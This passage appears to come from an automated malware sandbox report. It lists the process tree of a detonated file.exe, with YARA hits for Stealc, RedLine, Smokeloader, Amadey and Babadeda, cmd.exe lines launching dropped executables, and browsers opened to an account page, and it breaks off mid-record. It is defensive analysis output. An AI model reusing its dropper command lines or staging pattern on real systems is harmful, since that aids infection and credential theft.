2024-07-24 00:40:23 UTC	382	OUT	POST /api/report?cat=bingbusiness HTTP/1.1 Host: bzib.nelreports.net Connection: keep-alive Content-Length: 466 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-07-24 00:40:23 UTC	466	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 35 39 37 33 36 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 35 39 32 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 33 2e 31 30 37 2e 36 2e 31 35 38 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 31 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 62 75 73 69 6e 65 73 73 2e 62 69 6e Data Ascii: [{"age":59736,"body":{"elapsed_time":1592,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"13.107.6.158","status_code":401,"type":"http.error"},"type":"network-error","url":"https://business.bin
2024-07-24 00:40:23 UTC	358	IN	HTTP/1.1 200 OK Content-Length: 21 Content-Type: text/plain; charset=utf-8 Date: Wed, 24 Jul 2024 00:40:23 GMT Connection: close PMUSER_FORMAT_QS: X-CDN-TraceId: 0.25b22817.1721781623.3a9f59b Access-Control-Allow-Credentials: false Access-Control-Allow-Methods: * Access-Control-Allow-Methods: GET, OPTIONS, POST Access-Control-Allow-Origin: *
2024-07-24 00:40:23 UTC	21	IN	Data Raw: 50 72 6f 63 65 73 73 65 64 20 74 68 65 20 72 65 71 75 65 73 74 Data Ascii: Processed the request

Target ID:	0
Start time:	20:38:53
Start date:	23/07/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x400000
File size:	290'816 bytes
MD5 hash:	57A35EB5298B9BEC9CD7FFC3FB8204F7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2140652830.0000000002678000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.2140576144.000000000265E000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.2139716029.00000000025E0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	20:39:11
Start date:	23/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userBGCAFHCAKF.exe"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	20:39:11
Start date:	23/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	20:39:11
Start date:	23/07/2024
Path:	C:\Users\userBGCAFHCAKF.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\userBGCAFHCAKF.exe"
Imagebase:	0xc70000
File size:	1'879'040 bytes
MD5 hash:	8DCA8723B206C803E7ACE213DF89B4F4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000003.1895700726.0000000005460000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.2041622176.0000000000C71000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	20:39:12
Start date:	23/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userBKFCAFCFBA.exe"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	20:39:12
Start date:	23/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	20:39:12
Start date:	23/07/2024
Path:	C:\Users\userBKFCAFCFBA.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\userBKFCAFCFBA.exe"
Imagebase:	0x400000
File size:	91'648 bytes
MD5 hash:	A5E070181A6CD03264427E255B7CAD97
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Babadeda, Description: Yara detected Babadeda, Source: C:\Users\userBKFCAFCFBA.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	20:39:12
Start date:	23/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\8126.tmp\8127.tmp\8128.bat C:\Users\userBKFCAFCFBA.exe"
Imagebase:	0x7ff642610000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	20:39:12
Start date:	23/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	20:39:12
Start date:	23/07/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.youtube.com/account"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	20:39:12
Start date:	23/07/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "https://www.youtube.com/account"
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	20:39:12
Start date:	23/07/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" "https://www.youtube.com/account"
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	20:39:13
Start date:	23/07/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	20:39:13
Start date:	23/07/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2416 --field-trial-handle=2380,i,15078052028027609445,15587079675188821993,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	20:39:13
Start date:	23/07/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account --attempting-deelevation
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	20:39:13
Start date:	23/07/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	20:39:13
Start date:	23/07/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\RoamingBKEHDGDGHC.exe"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	20:39:14
Start date:	23/07/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=2092,i,7068056822517708986,10255811577766232066,262144 /prefetch:3
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	20:39:14
Start date:	23/07/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate https://www.youtube.com/account
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	20:39:14
Start date:	23/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	20:39:15
Start date:	23/07/2024
Path:	C:\Users\user\AppData\RoamingBKEHDGDGHC.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\RoamingBKEHDGDGHC.exe"
Imagebase:	0xe20000
File size:	1'929'728 bytes
MD5 hash:	927614BDB1FFF68B49468BC4A3886F36
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000002.2040917172.0000000000E21000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000003.1949969337.00000000049D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 58%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	20:39:16
Start date:	23/07/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2848 --field-trial-handle=2376,i,2515826515820808851,8799458441999607100,262144 /prefetch:3
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	20:39:18
Start date:	23/07/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	20:39:19
Start date:	23/07/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 6896 -ip 6896
Imagebase:	0x330000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	20:39:19
Start date:	23/07/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6896 -s 2524
Imagebase:	0x330000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	20:39:20
Start date:	23/07/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6296 --field-trial-handle=2376,i,2515826515820808851,8799458441999607100,262144 /prefetch:8
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	20:39:20
Start date:	23/07/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6576 --field-trial-handle=2376,i,2515826515820808851,8799458441999607100,262144 /prefetch:8
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	20:39:21
Start date:	23/07/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2264 -parentBuildID 20230927232528 -prefsHandle 2188 -prefMapHandle 2180 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {1e5cc8fe-62d3-40c5-b78e-72fcde7b7555} 7648 "\\.\pipe\gecko-crash-server-pipe.7648" 25c9ac6ef10 socket
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	33
Start time:	20:39:25
Start date:	23/07/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5336 --field-trial-handle=2380,i,15078052028027609445,15587079675188821993,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	20:39:26
Start date:	23/07/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5408 --field-trial-handle=2380,i,15078052028027609445,15587079675188821993,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	20:39:26
Start date:	23/07/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7444 --field-trial-handle=2376,i,2515826515820808851,8799458441999607100,262144 /prefetch:8
Imagebase:	0x7ff69da60000
File size:	1'255'976 bytes
MD5 hash:	76C58E5BABFE4ACF0308AA646FC0F416
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	20:39:26
Start date:	23/07/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7444 --field-trial-handle=2376,i,2515826515820808851,8799458441999607100,262144 /prefetch:8
Imagebase:	0x7ff69da60000
File size:	1'255'976 bytes
MD5 hash:	76C58E5BABFE4ACF0308AA646FC0F416
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	20:39:26
Start date:	23/07/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4104 -parentBuildID 20230927232528 -prefsHandle 4152 -prefMapHandle 2764 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {1fc7640d-c802-4f2d-90d8-c39dc38d8254} 7648 "\\.\pipe\gecko-crash-server-pipe.7648" 25cacc68810 rdd
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	38
Start time:	20:39:28
Start date:	23/07/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	39
Start time:	20:39:28
Start date:	23/07/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe"
Imagebase:	0x610000
File size:	1'879'040 bytes
MD5 hash:	8DCA8723B206C803E7ACE213DF89B4F4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000027.00000003.2031536498.0000000004890000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000027.00000002.2073620835.0000000000611000.00000040.00000001.01000000.00000018.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	20:39:29
Start date:	23/07/2024
Path:	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe"
Imagebase:	0xa50000
File size:	1'929'728 bytes
MD5 hash:	927614BDB1FFF68B49468BC4A3886F36
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000028.00000003.2035282001.0000000004BC0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000028.00000002.2079726776.0000000000A51000.00000040.00000001.01000000.00000019.sdmp, Author: Joe Security
Antivirus matches:	Detection: 58%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	20:39:29
Start date:	23/07/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Imagebase:	0x610000
File size:	1'879'040 bytes
MD5 hash:	8DCA8723B206C803E7ACE213DF89B4F4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000029.00000003.2037153735.0000000004E30000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000029.00000002.2077974435.0000000000611000.00000040.00000001.01000000.00000018.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	20:39:40
Start date:	23/07/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	20:39:41
Start date:	23/07/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2304 --field-trial-handle=2052,i,15441760254145988461,15363386439587136633,262144 /prefetch:3
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	20:39:48
Start date:	23/07/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	20:39:49
Start date:	23/07/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2136 --field-trial-handle=2024,i,896730670304015213,14143219268835796612,262144 /prefetch:3
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	20:40:00
Start date:	23/07/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Imagebase:	0x610000
File size:	1'879'040 bytes
MD5 hash:	8DCA8723B206C803E7ACE213DF89B4F4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000002E.00000003.2333444933.0000000005280000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000002E.00000002.2945747698.0000000000611000.00000040.00000001.01000000.00000018.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	47
Start time:	20:40:00
Start date:	23/07/2024
Path:	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe
Imagebase:	0xa50000
File size:	1'929'728 bytes
MD5 hash:	927614BDB1FFF68B49468BC4A3886F36
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000002F.00000002.2946034117.0000000000A51000.00000040.00000001.01000000.00000019.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000002F.00000003.2334503880.0000000004FC0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	48
Start time:	20:40:06
Start date:	23/07/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):
